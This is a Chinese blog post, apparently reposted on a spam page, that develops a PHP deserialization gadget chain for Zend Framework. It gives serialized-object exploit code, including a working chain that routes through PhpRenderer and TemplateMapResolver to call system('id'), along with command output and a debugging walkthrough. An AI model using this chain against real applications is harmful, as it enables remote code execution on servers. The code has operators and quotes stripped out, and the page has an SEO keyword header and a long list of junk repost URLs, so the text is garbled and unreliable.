商城网站设计教程,贴图库wordpress,天津装修设计平台,怎么制作自己的小程序前言
在推特上的PT SWARM账号发布了一条消息。 一个名为Zend Framework的php框架出现了新的gadget chain#xff0c;可导致RCE。笔者尝试复现#xff0c;但失败了。所幸#xff0c;我基于此链#xff0c;发现在这个框架的最新版本中的另一条链。
复现过程
这里使用vscod…前言
在推特上的PT SWARM账号发布了一条消息。 一个名为Zend Framework的php框架出现了新的gadget chain可导致RCE。笔者尝试复现但失败了。所幸我基于此链发现在这个框架的最新版本中的另一条链。
复现过程
这里使用vscode的ssh链接Ubuntu虚拟机Ubuntu虚拟机内开有php7.2nginxxdebug的docker环境。使用composer安装框架。
这里偷懒使用官方提供的MVC骨架安装指令: composer create-project zendframework/skeleton-application path/to/install。根据下链有一些包这个骨架还没安装。使用composer require安装zendframework/zend-filter、zendframework/zend-log、zendframework/zend-mail。
这里放 复现环境使用docker-compose up -d即可。
首先需要注意的是ZF框架已经停止维护了。这是一个相当有年头的框架了我估计不会发cve要不然也不会公布…
原gadget chain
?phpclass Zend_Log
{protected $_writers;function __construct($x){$this-_writers $x;}
}class Zend_Log_Writer_Mail
{protected $_eventsToMail;protected $_layoutEventsToMail;protected $_mail;protected $_layout;protected $_subjectPrependText;public function __construct($eventsToMail,$layoutEventsToMail,$mail,$layout) {$this-_eventsToMail $eventsToMail;$this-_layoutEventsToMail $layoutEventsToMail;$this-_mail $mail;$this-_layout $layout;$this-_subjectPrependText null;}
}class Zend_Mail
{
}class Zend_Layout
{protected $_inflector;protected $_inflectorEnabled;protected $_layout;public function __construct($inflector,$inflectorEnabled,$layout) {$this-_inflector $inflector;$this-_inflectorEnabled $inflectorEnabled;$this-_layout ){} . $layout . /*;}
}class Zend_Filter_Callback
{protected $_callback create_function;protected $_options [];
}class Zend_Filter_Inflector
{protected $_rules [];public function __construct(){$this-_rules[script] [new Zend_Filter_Callback()];}
}$code phpinfo();exit;;$a new \Zend_Log([new \Zend_Log_Writer_Mail([1],[],new \Zend_Mail,new \Zend_Layout(new Zend_Filter_Inflector(),true,$code))]
);echo urlencode(serialize([test $a]));
我把序列化数据打进去后发现这些类都变成了匿名类简而言之就是ClassLoader没有找到这些类。这就很怪了。之后才发现这些类的命名使用的是psr-0的规范。这个规范是放在以前php没有命名空间的时候使用的早过时了。现在是psr-4。composer默认也是按照psr-4的规范安装的。
也就是说这个链的可利用版本大致是相当古老的了
我尝试安装更老旧版本的ZF框架。果然老版本框架要求php版本在5.3以下……于是不打算继续复现…
新链发现
我尝试将上面poc的代码转换为psr-4规范发现有一些类还有有一些类则完全不在了例如Zend_Layout类在ZF包的新版本中就没有。
我尝试利用现有的类进行测试最终在上链基础上找到了新版本的链。
namespace Zend\Log {class Logger{protected $writers;function __construct(){$this-writers [new \Zend\Log\Writer\Mail()];}}
}namespace Zend\Log\Writer {class Mail {protected $mail;protected $eventsToMail;protected $subjectPrependText;function __construct(){$this-mail new \Zend\View\Renderer\PhpRenderer();$this-eventsToMail [id];$this-subjectPrependText null;}}
}namespace Zend\View\Renderer {class PhpRenderer {private $__helpers;function __construct(){$this-__helpers new \Zend\View\Resolver\TemplateMapResolver();}}
}namespace Zend\View\Resolver {class TemplateMapResolver {protected $map;function __construct(){$this-map [setBody system,];}}
}namespace {$payload new \Zend\Log\Logger();echo urlencode(serialize($payload));
}/*
OUTPUT:
uid33(www-data) gid33(www-data) groups33(www-data)
*/
对此链进行调试
调试
// Zend\Log\Logger
public function __destruct()
{foreach ($this-writers as $writer) {try {$writer-shutdown();} catch (\Exception $e) {}}
}
起点是Zend\Log\Logger类的__destruct方法这其实就是复现的那条链的Zend_Log类新版本改名为此。
可以看到这里调用了一个变量$writer的shutdown方法。那么接下来就有两个思路。
$writer设为没有shutdown方法的实例调用其__call方法$writer设为有shutdown方法的实例调用其shutdown方法
我这里找到了Zend\Log\Writer\Mail类有这个shutdown方法同时找到了一个比较好用的__call方法。
public function shutdown()
{if (empty($this-eventsToMail)) {return;}if ($this-subjectPrependText ! null) {$numEntries $this-getFormattedNumEntriesPerPriority();$this-mail-setSubject({$this-subjectPrependText} ({$numEntries}));}$this-mail-setBody(implode(PHP_EOL, $this-eventsToMail));try {$this-transport-send($this-mail);} catch (TransportException\ExceptionInterface $e) {trigger_error(unable to send log entries via email; .message {$e-getMessage()}; .code {$e-getCode()}; .exception class . get_class($e),E_USER_WARNING);}
}
这个方法调用了很多其它的方法一开始没什么思路再看看刚才说的__call方法。
// Zend\View\Renderer\PhpRenderer
public function __call($method, $argv)
{$plugin $this-plugin($method);if (is_callable($plugin)) {return call_user_func_array($plugin, $argv);}return $plugin;
}
可以看到call_user_func_array并没有限制类通常会这么写call_user_func_array([$this, $method], $argv)以防止调用类外方法。这里可能会导致RCE跟入plugin方法
public function getHelperPluginManager()
{if (null $this-__helpers) {$this-setHelperPluginManager(new HelperPluginManager(new ServiceManager()));}return $this-__helpers;
}public function plugin($name, array $options null)
{return $this-getHelperPluginManager()-get($name, $options);
}
跟入后首先会调用getHelperPluginManager方法其返回值可以被控制。问题就是接下来的get方法了。这里找到一个好用的get方法。
// Zend\View\Resolver\TemplateMapResolver
public function has($name)
{return array_key_exists($name, $this-map);
}public function get($name)
{if (! $this-has($name)) {return false;}return $this-map[$name];
}
Zend\View\Resolver\TemplateMapResolver类中的get方法明显是可以控制返回值的。那么之前plugin的返回值也就可以随心所欲了。之后调用__call方法里的call_user_func_array的第一个参数就随便我们控制了。
但现在还有一个问题就是call_user_func_array的第二个参数无法控制。这时我想起了之前的shutdown方法。
public function shutdown()
{if (empty($this-eventsToMail)) {return;}if ($this-subjectPrependText ! null) {$numEntries $this-getFormattedNumEntriesPerPriority();$this-mail-setSubject({$this-subjectPrependText} ({$numEntries}));}/* 注意这一句 */$this-mail-setBody(implode(PHP_EOL, $this-eventsToMail));try {$this-transport-send($this-mail);} catch (TransportException\ExceptionInterface $e) {trigger_error(unable to send log entries via email; .message {$e-getMessage()}; .code {$e-getCode()}; .exception class . get_class($e),E_USER_WARNING);}
}
很明显我们想让终点的call_user_func_array的第二个参数有值。需要之前调用不存在方法时有参数。很明显上面shutdown方法里有这么一句符合我们要求。
$this-mail-setBody(implode(PHP_EOL, $this-eventsToMail));首先可以调用__call方法然后$this-eventsToMail经过implode函数可控。很明显这个方法的参数可控直接芜湖。
调用堆栈 心得
可以看到上面这样一条gadget链的寻找并没有那么困难。关键便是抓住php本身的特性才能运用得灵活自如。 文章转载自: http://www.morning.fddfn.cn.gov.cn.fddfn.cn http://www.morning.xknmn.cn.gov.cn.xknmn.cn http://www.morning.plqsc.cn.gov.cn.plqsc.cn http://www.morning.yzzfl.cn.gov.cn.yzzfl.cn http://www.morning.qcdhg.cn.gov.cn.qcdhg.cn http://www.morning.mrbzq.cn.gov.cn.mrbzq.cn http://www.morning.knryp.cn.gov.cn.knryp.cn http://www.morning.tldhq.cn.gov.cn.tldhq.cn http://www.morning.lbrrn.cn.gov.cn.lbrrn.cn http://www.morning.zntf.cn.gov.cn.zntf.cn http://www.morning.3dcb8231.cn.gov.cn.3dcb8231.cn http://www.morning.rblqk.cn.gov.cn.rblqk.cn http://www.morning.kzbpx.cn.gov.cn.kzbpx.cn http://www.morning.hbywj.cn.gov.cn.hbywj.cn http://www.morning.wnzgm.cn.gov.cn.wnzgm.cn http://www.morning.zhnpj.cn.gov.cn.zhnpj.cn http://www.morning.jpnfm.cn.gov.cn.jpnfm.cn http://www.morning.ktrh.cn.gov.cn.ktrh.cn http://www.morning.zfqr.cn.gov.cn.zfqr.cn http://www.morning.rrxnz.cn.gov.cn.rrxnz.cn http://www.morning.dbylp.cn.gov.cn.dbylp.cn http://www.morning.kkqgf.cn.gov.cn.kkqgf.cn http://www.morning.pdwzr.cn.gov.cn.pdwzr.cn http://www.morning.homayy.com.gov.cn.homayy.com http://www.morning.jmmz.cn.gov.cn.jmmz.cn http://www.morning.grjh.cn.gov.cn.grjh.cn http://www.morning.hmqjj.cn.gov.cn.hmqjj.cn http://www.morning.pmwhj.cn.gov.cn.pmwhj.cn http://www.morning.bmsqq.cn.gov.cn.bmsqq.cn http://www.morning.gktds.cn.gov.cn.gktds.cn http://www.morning.ygrkg.cn.gov.cn.ygrkg.cn http://www.morning.saletj.com.gov.cn.saletj.com http://www.morning.qfcnp.cn.gov.cn.qfcnp.cn http://www.morning.czwed.com.gov.cn.czwed.com http://www.morning.hlppp.cn.gov.cn.hlppp.cn http://www.morning.zkqsc.cn.gov.cn.zkqsc.cn http://www.morning.tgpgx.cn.gov.cn.tgpgx.cn http://www.morning.dbnpz.cn.gov.cn.dbnpz.cn http://www.morning.rzmlc.cn.gov.cn.rzmlc.cn http://www.morning.mmhaoma.com.gov.cn.mmhaoma.com http://www.morning.lmmkf.cn.gov.cn.lmmkf.cn http://www.morning.qdsmile.cn.gov.cn.qdsmile.cn http://www.morning.wrtpk.cn.gov.cn.wrtpk.cn http://www.morning.grpfj.cn.gov.cn.grpfj.cn http://www.morning.hghhy.cn.gov.cn.hghhy.cn http://www.morning.tsycr.cn.gov.cn.tsycr.cn http://www.morning.tqfnf.cn.gov.cn.tqfnf.cn http://www.morning.tfzjl.cn.gov.cn.tfzjl.cn http://www.morning.frnjm.cn.gov.cn.frnjm.cn http://www.morning.fjfjm.cn.gov.cn.fjfjm.cn http://www.morning.txfzt.cn.gov.cn.txfzt.cn http://www.morning.kgjyy.cn.gov.cn.kgjyy.cn http://www.morning.fbmzm.cn.gov.cn.fbmzm.cn http://www.morning.gyylt.cn.gov.cn.gyylt.cn http://www.morning.rxlck.cn.gov.cn.rxlck.cn http://www.morning.wkpfm.cn.gov.cn.wkpfm.cn http://www.morning.pzrpz.cn.gov.cn.pzrpz.cn http://www.morning.smggx.cn.gov.cn.smggx.cn http://www.morning.skqfx.cn.gov.cn.skqfx.cn http://www.morning.nkbfc.cn.gov.cn.nkbfc.cn http://www.morning.xhqr.cn.gov.cn.xhqr.cn http://www.morning.gbwfx.cn.gov.cn.gbwfx.cn http://www.morning.gjlxn.cn.gov.cn.gjlxn.cn http://www.morning.clndl.cn.gov.cn.clndl.cn http://www.morning.nlgnk.cn.gov.cn.nlgnk.cn http://www.morning.kxyqy.cn.gov.cn.kxyqy.cn http://www.morning.gtmdq.cn.gov.cn.gtmdq.cn http://www.morning.yrdkl.cn.gov.cn.yrdkl.cn http://www.morning.plqkz.cn.gov.cn.plqkz.cn http://www.morning.cwjsz.cn.gov.cn.cwjsz.cn http://www.morning.nlqgb.cn.gov.cn.nlqgb.cn http://www.morning.zfkxj.cn.gov.cn.zfkxj.cn http://www.morning.mgnrc.cn.gov.cn.mgnrc.cn http://www.morning.tnqk.cn.gov.cn.tnqk.cn http://www.morning.xqcbz.cn.gov.cn.xqcbz.cn http://www.morning.ygkq.cn.gov.cn.ygkq.cn http://www.morning.rfkyb.cn.gov.cn.rfkyb.cn http://www.morning.qrndh.cn.gov.cn.qrndh.cn http://www.morning.nrll.cn.gov.cn.nrll.cn http://www.morning.phwmj.cn.gov.cn.phwmj.cn